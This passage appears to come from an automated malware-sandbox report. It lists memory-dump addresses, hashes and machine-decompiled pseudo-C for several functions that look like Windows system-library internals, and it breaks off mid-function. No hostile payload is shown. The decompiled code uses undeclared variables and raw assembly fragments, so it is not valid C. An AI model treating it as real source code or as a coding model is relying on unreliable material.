0x00d58b3f
0x00d58b78
0x00d58b41
0x00d58b52
0x00d58b54
0x00d58b5c
0x00d58b74
0x00d58b74
0x00d58b5c
0x00d58b3f
0x00d58b5e
0x00d58b61
0x00d58b64
0x00d58b64
0x00d58b6c
0x00d58b6c
0x00d58b11
0x00da9cd5
0x00da9cd5
0x00d58b17
0x00d58b1a
0x00d58b1a
0x00000000
0x00d58ad5
0x00d58a89

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c467fae17394a444f8fccf80fd6b50921cc14730cc419aa7ee07690fd6dc9851
Instruction ID: 28a60017672898e63e6d668c8122b91611e179217d738a0ae85c8b4139b4538e
Opcode Fuzzy Hash: c467fae17394a444f8fccf80fd6b50921cc14730cc419aa7ee07690fd6dc9851
Instruction Fuzzy Hash: 7C4151B4A0022C9BDF24DF15C888AA9B7B8EB54301F1445EADC19A7252EB709E84DF70

Uniqueness

Uniqueness Score: -1.00%

Function 00E0FDE2, Relevance: .1, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00E0FDE2(signed int* __ecx, signed int __edx, signed int _a4) {
				char _v8;
				signed int _v12;
				signed int _t29;
				char* _t32;
				char* _t43;
				signed int _t80;
				signed int* _t84;

				_push(__ecx);
				_push(__ecx);
				_t56 = __edx;
				_t84 = __ecx;
				_t80 = E00E0FD4E(__ecx, __edx);
				_v12 = _t80;
				if(_t80 != 0) {
					_t29 =  *__ecx & _t80;
					_t74 = (_t80 - _t29 >> 4 << __ecx[1]) + _t29;
					if(__edx <= (_t80 - _t29 >> 4 << __ecx[1]) + _t29) {
						E00E10A13(__ecx, _t80, 0, _a4);
						_t80 = 1;
						if(E00D67D50() == 0) {
							_t32 = 0x7ffe0380;
						} else {
							_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
							_push(3);
							L21:
							E00E01608( *((intOrPtr*)(_t84 + 0x3c)), _t56);
						}
						goto L22;
					}
					if(( *(_t80 + 0xc) & 0x0000000c) != 8) {
						_t80 = E00E12B28(__ecx[0xc], _t74, __edx, _a4,  &_v8);
						if(_t80 != 0) {
							_t66 =  *((intOrPtr*)(_t84 + 0x2c));
							_t77 = _v8;
							if(_v8 <=  *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x2c)) + 0x28)) - 8) {
								E00E0C8F7(_t66, _t77, 0);
							}
						}
					} else {
						_t80 = E00E0DBD2(__ecx[0xb], _t74, __edx, _a4);
					}
					if(E00D67D50() == 0) {
						_t43 = 0x7ffe0380;
					} else {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t43 == 0 || ( *( *[fs:0x30] + 0x240) & 0x00000001) == 0 || _t80 == 0) {
						goto L22;
					} else {
						_push((0 | ( *(_v12 + 0xc) & 0x0000000c) != 0x00000008) + 2);
						goto L21;
					}
				} else {
					_push(__ecx);
					_push(_t80);
					E00E0A80D(__ecx[0xf], 9, __edx, _t80);
					L22:
					return _t80;
				}
			}

0x00e0fde7
0x00e0fde8
0x00e0fdec
0x00e0fdee
0x00e0fdf5
0x00e0fdf7
0x00e0fdfc
0x00e0fe19
0x00e0fe22
0x00e0fe26
0x00e0fec6
0x00e0fecd
0x00e0fed5
0x00e0fee7
0x00e0fed7
0x00e0fee0
0x00e0fee0
0x00e0feef
0x00e0ff00
0x00e0ff02
0x00e0ff07
0x00e0ff07
0x00000000
0x00e0feef
0x00e0fe33
0x00e0fe55
0x00e0fe59
0x00e0fe5b
0x00e0fe5e
0x00e0fe69
0x00e0fe6d
0x00e0fe6d
0x00e0fe69
0x00e0fe35
0x00e0fe41
0x00e0fe41
0x00e0fe79
0x00e0fe8b
0x00e0fe7b
0x00e0fe84
0x00e0fe84
0x00e0fe93
0x00000000
0x00e0fea8
0x00e0feba
0x00000000
0x00e0feba
0x00e0fdfe
0x00e0fe01
0x00e0fe02
0x00e0fe08
0x00e0ff0c
0x00e0ff14
0x00e0ff14

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
Instruction ID: 57addb902d274d6a0e7312194387cfde81d56f5a05561a35785887b93ef40780
Opcode Fuzzy Hash: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
Instruction Fuzzy Hash: DE312632304640AFD33297A8C845F6A77E9EBC5354F185578F545ABBD2DA70EC92C720

Uniqueness

Uniqueness Score: -1.00%

Function 00E0EA55, Relevance: .1, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00E0EA55(intOrPtr* __ecx, char __edx, signed int _a4) {
				signed int _v8;
				char _v12;
				intOrPtr _v15;
				char _v16;
				intOrPtr _v19;
				void* _v28;
				intOrPtr _v36;
				void* __ebx;
				void* __edi;
				signed char _t26;
				signed int _t27;
				char* _t40;
				unsigned int* _t50;
				intOrPtr* _t58;
				unsigned int _t59;
				char _t75;
				signed int _t86;
				intOrPtr _t88;
				intOrPtr* _t91;

				_t75 = __edx;
				_t91 = __ecx;
				_v12 = __edx;
				_t50 = __ecx + 0x30;
				_t86 = _a4 & 0x00000001;
				if(_t86 == 0) {
					E00D62280(_t26, _t50);
					_t75 = _v16;
				}
				_t58 = _t91;
				_t27 = E00E0E815(_t58, _t75);
				_v8 = _t27;
				if(_t27 != 0) {
					E00D4F900(_t91 + 0x34, _t27);
					if(_t86 == 0) {
						E00D5FFB0(_t50, _t86, _t50);
					}
					_push( *((intOrPtr*)(_t91 + 4)));
					_push( *_t91);
					_t59 =  *(_v8 + 0x10);
					_t53 = 1 << (_t59 >> 0x00000002 & 0x0000003f);
					_push(0x8000);
					_t11 = _t53 - 1; // 0x0
					_t12 = _t53 - 1; // 0x0
					_v16 = ((_t59 >> 0x00000001 & 1) + (_t59 >> 0xc) << 0xc) - 1 + (1 << (_t59 >> 0x00000002 & 0x0000003f)) - (_t11 + ((_t59 >> 0x00000001 & 1) + (_t59 >> 0x0000000c) << 0x0000000c) & _t12);
					E00E0AFDE( &_v12,  &_v16);
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					L00E0BCD2(_v8,  *_t91,  *((intOrPtr*)(_t91 + 4)));
					_t55 = _v36;
					_t88 = _v36;
					if(E00D67D50() == 0) {
						_t40 = 0x7ffe0388;
					} else {
						_t55 = _v19;
						_t40 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t40 != 0) {
						E00DFFE3F(_t55, _t91, _v15, _t55);
					}
				} else {
					if(_t86 == 0) {
						E00D5FFB0(_t50, _t86, _t50);
						_t75 = _v16;
					}
					_push(_t58);
					_t88 = 0;
					_push(0);
					E00E0A80D(_t91, 8, _t75, 0);
				}
				return _t88;
			}

0x00e0ea55
0x00e0ea66
0x00e0ea68
0x00e0ea6c
0x00e0ea6f
0x00e0ea72
0x00e0ea75
0x00e0ea7a
0x00e0ea7a
0x00e0ea7e
0x00e0ea80
0x00e0ea85
0x00e0ea8b
0x00e0eab5
0x00e0eabc
0x00e0eabf
0x00e0eabf
0x00e0eaca
0x00e0eace
0x00e0ead0
0x00e0eae4
0x00e0eaeb
0x00e0eaf0
0x00e0eaf5
0x00e0eb09
0x00e0eb0d
0x00e0eb1d
0x00e0eb2d
0x00e0eb38
0x00e0eb3d
0x00e0eb41
0x00e0eb4a
0x00e0eb60
0x00e0eb4c
0x00e0eb52
0x00e0eb59
0x00e0eb59
0x00e0eb68
0x00e0eb71
0x00e0eb71
0x00e0ea8d
0x00e0ea8f
0x00e0ea92
0x00e0ea97
0x00e0ea97
0x00e0ea9b
0x00e0ea9c
0x00e0ea9e
0x00e0eaa6
0x00e0eaa6
0x00e0eb7e

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction ID: 60ef524c7ec9edac9dc8fe89e51b97fc629a4ae13d83d9a8dbcc10d2303c2f76
Opcode Fuzzy Hash: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction Fuzzy Hash: 6031C3326047059BC729DF24C881A6BB7E9FFC4314F04893DF99297781DA34E849CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00DC69A6, Relevance: .1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00DC69A6(signed short* __ecx, void* __eflags) {
				signed int _v8;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				char* _v44;
				signed int _v48;
				intOrPtr _v52;
				signed int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				char _v72;
				signed short* _v76;
				signed int _v80;
				char _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t68;
				intOrPtr _t73;
				signed short* _t74;
				void* _t77;
				void* _t78;
				signed int _t79;
				signed int _t80;

				_v8 =  *0xe3d360 ^ _t80;
				_t75 = 0x100;
				_v64 = _v64 & 0x00000000;
				_v76 = __ecx;
				_t79 = 0;
				_t68 = 0;
				_v72 = 1;
				_v68 =  *((intOrPtr*)( *[fs:0x18] + 0x20));
				_t77 = 0;
				if(L00D56C59(__ecx[2], 0x100, __eflags) != 0) {
					_t79 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
					if(_t79 != 0 && E00DC6BA3() != 0) {
						_push(0);
						_push(0);
						_push(0);
						_push(0x1f0003);
						_push( &_v64);
						if(E00D89980() >= 0) {
							E00D62280(_t56, 0xe38778);
							_t77 = 1;
							_t68 = 1;
							if( *0xe38774 == 0) {
								asm("cdq");
								 *(_t79 + 0xf70) = _v64;
								 *(_t79 + 0xf74) = 0x100;
								_t75 = 0;
								_t73 = 4;
								_v60 =  &_v68;
								_v52 = _t73;
								_v36 = _t73;
								_t74 = _v76;
								_v44 =  &_v72;
								 *0xe38774 = 1;
								_v56 = 0;
								_v28 = _t74[2];
								_v48 = 0;
								_v20 = ( *_t74 & 0x0000ffff) + 2;
								_v40 = 0;
								_v32 = 0;
								_v24 = 0;
								_v16 = 0;
								if(E00D4B6F0(0xd2c338, 0xd2c288, 3,  &_v60) == 0) {
									_v80 = _v80 | 0xffffffff;
									_push( &_v84);
									_push(0);
									_push(_v64);
									_v84 = 0xfa0a1f00;
									E00D89520();
								}
							}
						}
					}
				}
				if(_v64 != 0) {
					_push(_v64);
					E00D895D0();
					 *(_t79 + 0xf70) =  *(_t79 + 0xf70) & 0x00000000;
					 *(_t79 + 0xf74) =  *(_t79 + 0xf74) & 0x00000000;
				}
				if(_t77 != 0) {
					E00D5FFB0(_t68, _t77, 0xe38778);
				}
				_pop(_t78);
				return E00D8B640(_t68, _t68, _v8 ^ _t80, _t75, _t78, _t79);
			}

0x00dc69b5
0x00dc69be
0x00dc69c3
0x00dc69c9
0x00dc69cc
0x00dc69d1
0x00dc69d3
0x00dc69de
0x00dc69e1
0x00dc69ea
0x00dc69f6
0x00dc69fe
0x00dc6a13
0x00dc6a14
0x00dc6a15
0x00dc6a16
0x00dc6a1e
0x00dc6a26
0x00dc6a31
0x00dc6a36
0x00dc6a37
0x00dc6a40
0x00dc6a49
0x00dc6a4a
0x00dc6a53
0x00dc6a59
0x00dc6a5d
0x00dc6a5e
0x00dc6a64
0x00dc6a67
0x00dc6a6a
0x00dc6a6d
0x00dc6a70
0x00dc6a77
0x00dc6a7d
0x00dc6a86
0x00dc6a89
0x00dc6a9c
0x00dc6a9f
0x00dc6aa2
0x00dc6aa5
0x00dc6aaf
0x00dc6ab1
0x00dc6ab8
0x00dc6ab9
0x00dc6abb
0x00dc6abe
0x00dc6ac5
0x00dc6ac5
0x00dc6aaf
0x00dc6a40
0x00dc6a26
0x00dc69fe
0x00dc6ace
0x00dc6ad0
0x00dc6ad3
0x00dc6ad8
0x00dc6adf
0x00dc6adf
0x00dc6ae8
0x00dc6aef
0x00dc6aef
0x00dc6af9
0x00dc6b06

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7935dc3c17a4cf555a1cf43d603e295932369ea8784c0346720c5f37271f4e6b
Instruction ID: 526499c0a9d98a074b85067f890a221816fac571bc3650e4138a8ef8bca1ed5b
Opcode Fuzzy Hash: 7935dc3c17a4cf555a1cf43d603e295932369ea8784c0346720c5f37271f4e6b
Instruction Fuzzy Hash: 344167B1D00209AFDB20DFA5D941BBEBBF8EF48714F18812AE954E7251DB719909CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00D45210, Relevance: .1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00D45210(intOrPtr _a4, void* _a8) {
				void* __ecx;
				intOrPtr _t31;
				signed int _t32;
				signed int _t33;
				intOrPtr _t35;
				signed int _t52;
				void* _t54;
				void* _t56;
				unsigned int _t59;
				signed int _t60;
				void* _t61;

				_t61 = E00D452A5(1);
				if(_t61 == 0) {
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					_t54 =  *((intOrPtr*)(_t31 + 0x28));
					_t59 =  *(_t31 + 0x24) & 0x0000ffff;
				} else {
					_t54 =  *((intOrPtr*)(_t61 + 0x10));
					_t59 =  *(_t61 + 0xc) & 0x0000ffff;
				}
				_t60 = _t59 >> 1;
				_t32 = 0x3a;
				if(_t60 < 2 ||  *((intOrPtr*)(_t54 + _t60 * 2 - 4)) == _t32) {
					_t52 = _t60 + _t60;
					if(_a4 > _t52) {
						goto L5;
					}
					if(_t61 != 0) {
						asm("lock xadd [esi], eax");
						if((_t32 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E00D895D0();
							L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
						}
					} else {
						E00D5EB70(_t54, 0xe379a0);
					}
					_t26 = _t52 + 2; // 0xddeeddf0
					return _t26;
				} else {
					_t52 = _t60 + _t60;
					if(_a4 < _t52) {
						if(_t61 != 0) {
							asm("lock xadd [esi], eax");
							if((_t32 | 0xffffffff) == 0) {
								_push( *((intOrPtr*)(_t61 + 4)));
								E00D895D0();
								L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
							}
						} else {
							E00D5EB70(_t54, 0xe379a0);
						}
						return _t52;
					}
					L5:
					_t33 = E00D8F3E0(_a8, _t54, _t52);
					if(_t61 == 0) {
						E00D5EB70(_t54, 0xe379a0);
					} else {
						asm("lock xadd [esi], eax");
						if((_t33 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E00D895D0();
							L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t61);
						}
					}
					_t35 = _a8;
					if(_t60 <= 1) {
						L9:
						_t60 = _t60 - 1;
						 *((short*)(_t52 + _t35 - 2)) = 0;
						goto L10;
					} else {
						_t56 = 0x3a;
						if( *((intOrPtr*)(_t35 + _t60 * 2 - 4)) == _t56) {
							 *((short*)(_t52 + _t35)) = 0;
							L10:
							return _t60 + _t60;
						}
						goto L9;
					}
				}
			}

0x00d45220
0x00d45224
0x00da0d13
0x00da0d16
0x00da0d19
0x00d4522a
0x00d4522a
0x00d4522d
0x00d4522d
0x00d45231
0x00d45235
0x00d45239
0x00da0d5c
0x00da0d62
0x00000000
0x00000000
0x00da0d6a
0x00da0d7b
0x00da0d7f
0x00da0d81
0x00da0d84
0x00da0d95
0x00da0d95
0x00da0d6c
0x00da0d71
0x00da0d71
0x00da0d9a
0x00000000
0x00d4524a
0x00d4524a
0x00d45250
0x00da0d24
0x00da0d35
0x00da0d39
0x00da0d3b
0x00da0d3e
0x00da0d50
0x00da0d50
0x00da0d26
0x00da0d2b
0x00da0d2b
0x00000000
0x00da0d55
0x00d45256
0x00d4525b
0x00d45265
0x00da0da7
0x00d4526b
0x00d4526e
0x00d45272
0x00da0db1
0x00da0db4
0x00da0dc5
0x00da0dc5
0x00d45272
0x00d45278
0x00d4527e
0x00d4528a
0x00d4528c
0x00d4528d
0x00000000
0x00d45280
0x00d45282
0x00d45288
0x00d4529f
0x00d45292
0x00000000
0x00d45292
0x00000000
0x00d45288
0x00d4527e

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1eceedadebc61ab83a837c31b2eeccc7b350b6fc2b912cf5d7df54a734f959fc
Instruction ID: 30eba69c6e6ef6bec102b2e4c6a90b6dcc139b449ed68060c6071ec1230b823e
Opcode Fuzzy Hash: 1eceedadebc61ab83a837c31b2eeccc7b350b6fc2b912cf5d7df54a734f959fc
Instruction Fuzzy Hash: 2F314A32241A01EBCB31AF58C881B267BA5FF11760F15462AF8960B996DBB0FD00C7B4

Uniqueness

Uniqueness Score: -1.00%

Function 00D83D43, Relevance: .1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D83D43(signed short* __ecx, signed short* __edx, signed short* _a4, signed short** _a8, intOrPtr* _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				char _v12;
				signed short** _t33;
				short* _t38;
				intOrPtr* _t39;
				intOrPtr* _t41;
				signed short _t43;
				intOrPtr* _t47;
				intOrPtr* _t53;
				signed short _t57;
				intOrPtr _t58;
				signed short _t60;
				signed short* _t61;

				_t47 = __ecx;
				_t61 = __edx;
				_t60 = ( *__ecx & 0x0000ffff) + 2;
				if(_t60 > 0xfffe) {
					L22:
					return 0xc0000106;
				}
				if(__edx != 0) {
					if(_t60 <= ( *(__edx + 2) & 0x0000ffff)) {
						L5:
						E00D57B60(0, _t61, 0xd211c4);
						_v12 =  *_t47;
						_v12 = _v12 + 0xfff8;
						_v8 =  *((intOrPtr*)(_t47 + 4)) + 8;
						E00D57B60(0xfff8, _t61,  &_v12);
						_t33 = _a8;
						if(_t33 != 0) {
							 *_t33 = _t61;
						}
						_t12 =  &(_t61[2]); // 0x670061
						 *((short*)( *_t12 + (( *_t61 & 0x0000ffff) >> 1) * 2)) = 0;
						_t53 = _a12;
						if(_t53 != 0) {
							_t57 = _t61[2];
							_t38 = _t57 + ((( *_t61 & 0x0000ffff) >> 1) - 1) * 2;
							while(_t38 >= _t57) {
								if( *_t38 == 0x5c) {
									_t41 = _t38 + 2;
									if(_t41 == 0) {
										break;
									}
									_t58 = 0;
									if( *_t41 == 0) {
										L19:
										 *_t53 = _t58;
										goto L7;
									}
									 *_t53 = _t41;
									goto L7;
								}
								_t38 = _t38 - 2;
							}
							_t58 = 0;
							goto L19;
						} else {
							L7:
							_t39 = _a16;
							if(_t39 != 0) {
								 *_t39 = 0;
								 *((intOrPtr*)(_t39 + 4)) = 0;
								 *((intOrPtr*)(_t39 + 8)) = 0;
								 *((intOrPtr*)(_t39 + 0xc)) = 0;
							}
							return 0;
						}
					}
					_t61 = _a4;
					if(_t61 != 0) {
						L3:
						_t43 = L00D64620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t60);
						_t61[2] = _t43;
						if(_t43 == 0) {
							return 0xc0000017;
						}
						_t61[1] = _t60;
						 *_t61 = 0;
						goto L5;
					}
					goto L22;
				}
				_t61 = _a4;
				if(_t61 == 0) {
					return 0xc000000d;
				}
				goto L3;
			}

0x00d83d4c
0x00d83d50
0x00d83d55
0x00d83d5e
0x00dbe79a
0x00000000
0x00dbe79a
0x00d83d68
0x00dbe789
0x00d83d9d
0x00d83da3
0x00d83daf
0x00d83db5
0x00d83dbc
0x00d83dc4
0x00d83dc9
0x00d83dce
0x00dbe7ae
0x00dbe7ae
0x00d83dd9
0x00d83dde
0x00d83de2
0x00d83de7
0x00d83e0d
0x00d83e13
0x00d83e16
0x00d83e1e
0x00d83e25
0x00d83e28
0x00000000
0x00000000
0x00d83e2a
0x00d83e2f
0x00d83e37
0x00d83e37
0x00000000
0x00d83e37
0x00d83e31
0x00000000
0x00d83e31
0x00d83e20
0x00d83e20
0x00d83e35
0x00000000
0x00d83de9
0x00d83de9
0x00d83de9
0x00d83dee
0x00d83dfd
0x00d83dff
0x00d83e02
0x00d83e05
0x00d83e05
0x00000000
0x00d83df0
0x00d83de7
0x00dbe78f
0x00dbe794
0x00d83d79
0x00d83d84
0x00d83d89
0x00d83d8e
0x00000000
0x00dbe7a4
0x00d83d96
0x00d83d9a
0x00000000
0x00d83d9a
0x00000000
0x00dbe794
0x00d83d6e
0x00d83d73
0x00000000
0x00dbe7b5
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fee215dfced5164bb6c71ca94346039aea0f9aaa98cf0ff08f9eacc407b93cf6
Instruction ID: eeb43e7e5c57558f54ffabbcc627b296916e3b045d4708e59713a9bb8326d611
Opcode Fuzzy Hash: fee215dfced5164bb6c71ca94346039aea0f9aaa98cf0ff08f9eacc407b93cf6
Instruction Fuzzy Hash: 8F31A231605615DBC729AF29D441ABBBBF5EF55B00719806AE88ACB350EB34DD40D7B0

Uniqueness

Uniqueness Score: -1.00%

Function 00D7A61C, Relevance: .1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00D7A61C(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				intOrPtr _t39;
				intOrPtr _t45;
				intOrPtr* _t51;
				intOrPtr* _t52;
				intOrPtr* _t55;
				signed int _t57;
				intOrPtr* _t59;
				intOrPtr _t68;
				intOrPtr* _t77;
				void* _t79;
				signed int _t80;
				intOrPtr _t81;
				char* _t82;
				void* _t83;

				_push(0x24);
				_push(0xe20220);
				E00D9D08C(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t83 - 0x30)) = __edx;
				_t79 = __ecx;
				_t35 =  *0xe37b9c; // 0x0
				_t55 = L00D64620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t35 + 0xc0000, 0x28);
				 *((intOrPtr*)(_t83 - 0x24)) = _t55;
				if(_t55 == 0) {
					_t39 = 0xc0000017;
					L11:
					return E00D9D0D1(_t39);
				}
				_t68 = 0;
				 *((intOrPtr*)(_t83 - 0x1c)) = 0;
				 *(_t83 - 4) =  *(_t83 - 4) & 0;
				_t7 = _t55 + 8; // 0x8
				_t57 = 6;
				memcpy(_t7, _t79, _t57 << 2);
				_t80 = 0xfffffffe;
				 *(_t83 - 4) = _t80;
				if(0 < 0) {
					L14:
					_t81 =  *((intOrPtr*)(_t83 - 0x1c));
					L20:
					L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t55);
					_t39 = _t81;
					goto L11;
				}
				if( *((intOrPtr*)(_t55 + 0xc)) <  *(_t55 + 8)) {
					_t81 = 0xc000007b;
					goto L20;
				}
				if( *((intOrPtr*)(_t83 + 0xc)) == 0) {
					_t59 =  *((intOrPtr*)(_t83 + 8));
					_t45 =  *_t59;
					 *((intOrPtr*)(_t83 - 0x20)) = _t45;
					 *_t59 = _t45 + 1;
					L6:
					 *(_t83 - 4) = 1;
					 *((intOrPtr*)( *((intOrPtr*)(_t55 + 0x10)))) =  *((intOrPtr*)(_t83 - 0x20));
					 *(_t83 - 4) = _t80;
					if(_t68 < 0) {
						_t82 =  *((intOrPtr*)(_t83 + 0xc));
						if(_t82 == 0) {
							goto L14;
						}
						asm("btr eax, ecx");
						_t81 =  *((intOrPtr*)(_t83 - 0x1c));
						if( *_t82 != 0) {
							 *0xe37b10 =  *0xe37b10 - 8;
						}
						goto L20;
					}
					 *((intOrPtr*)(_t55 + 0x24)) =  *((intOrPtr*)(_t83 - 0x20));
					 *((intOrPtr*)(_t55 + 0x20)) =  *((intOrPtr*)(_t83 - 0x30));
					_t51 =  *0xe3536c; // 0x788aa0
					if( *_t51 != 0xe35368) {
						_push(3);
						asm("int 0x29");
						goto L14;
					}
					 *_t55 = 0xe35368;
					 *((intOrPtr*)(_t55 + 4)) = _t51;
					 *_t51 = _t55;
					 *0xe3536c = _t55;
					_t52 =  *((intOrPtr*)(_t83 + 0x10));
					if(_t52 != 0) {
						 *_t52 = _t55;
					}
					_t39 = 0;
					goto L11;
				}
				_t77 =  *((intOrPtr*)(_t83 + 8));
				_t68 = E00D7A70E(_t77,  *((intOrPtr*)(_t83 + 0xc)));
				 *((intOrPtr*)(_t83 - 0x1c)) = _t68;
				if(_t68 < 0) {
					goto L14;
				}
				 *((intOrPtr*)(_t83 - 0x20)) =  *_t77;
				goto L6;
			}

0x00d7a61c
0x00d7a61e
0x00d7a623
0x00d7a628
0x00d7a62b
0x00d7a62d
0x00d7a648
0x00d7a64a
0x00d7a64f
0x00db9b44
0x00d7a6ec
0x00d7a6f1
0x00d7a6f1
0x00d7a655
0x00d7a657
0x00d7a65a
0x00d7a65d
0x00d7a662
0x00d7a663
0x00d7a667
0x00d7a668
0x00d7a66d
0x00d7a706
0x00d7a706
0x00db9bda
0x00db9be6
0x00db9beb
0x00000000
0x00db9beb
0x00d7a679
0x00db9b7a
0x00000000
0x00db9b7a
0x00d7a683
0x00d7a6f4
0x00d7a6f7
0x00d7a6f9
0x00d7a6fd
0x00d7a6a0
0x00d7a6a0
0x00d7a6ad
0x00d7a6af
0x00d7a6b4
0x00db9ba7
0x00db9bac
0x00000000
0x00000000
0x00db9bc6
0x00db9bce
0x00db9bd1
0x00db9bd3
0x00db9bd3
0x00000000
0x00db9bd1
0x00d7a6bd
0x00d7a6c3
0x00d7a6c6
0x00d7a6d2
0x00d7a701
0x00d7a704
0x00000000
0x00d7a704
0x00d7a6d4
0x00d7a6d6
0x00d7a6d9
0x00d7a6db
0x00d7a6e1
0x00d7a6e6
0x00d7a6e8
0x00d7a6e8
0x00d7a6ea
0x00000000
0x00d7a6ea
0x00d7a688
0x00d7a692
0x00d7a694
0x00d7a699
0x00000000
0x00000000
0x00d7a69d
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a89c5dd256b3a5219b9d26c014b4e8980fe21507f5d34b79e75864b0e21c3710
Instruction ID: c0fa2133cd1ff4b26c169ff122abfef30e66da54198b13206c18240803088466
Opcode Fuzzy Hash: a89c5dd256b3a5219b9d26c014b4e8980fe21507f5d34b79e75864b0e21c3710
Instruction Fuzzy Hash: E14169B5A04219DFCB18CF59D890B9DBBF2FB89300F19C069E909AB355D774AD01CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00DC7016, Relevance: .1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00DC7016(short __ecx, intOrPtr __edx, char _a4, char _a8, signed short* _a12, signed short* _a16) {
				signed int _v8;
				char _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				signed short* _v600;
				char _v604;
				short _v606;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short* _t55;
				void* _t56;
				signed short* _t58;
				signed char* _t61;
				char* _t68;
				void* _t69;
				void* _t71;
				void* _t72;
				signed int _t75;

				_t64 = __edx;
				_t77 = (_t75 & 0xfffffff8) - 0x25c;
				_v8 =  *0xe3d360 ^ (_t75 & 0xfffffff8) - 0x0000025c;
				_t55 = _a16;
				_v606 = __ecx;
				_t71 = 0;
				_t58 = _a12;
				_v596 = __edx;
				_v600 = _t58;
				_t68 =  &_v588;
				if(_t58 != 0) {
					_t71 = ( *_t58 & 0x0000ffff) + 2;
					if(_t55 != 0) {
						_t71 = _t71 + ( *_t55 & 0x0000ffff) + 2;
					}
				}
				_t8 = _t71 + 0x2a; // 0x28
				_t33 = _t8;
				_v592 = _t8;
				if(_t71 <= 0x214) {
					L6:
					 *((short*)(_t68 + 6)) = _v606;
					if(_t64 != 0xffffffff) {
						asm("cdq");
						 *((intOrPtr*)(_t68 + 0x20)) = _t64;
						 *((char*)(_t68 + 0x28)) = _a4;
						 *((intOrPtr*)(_t68 + 0x24)) = _t64;
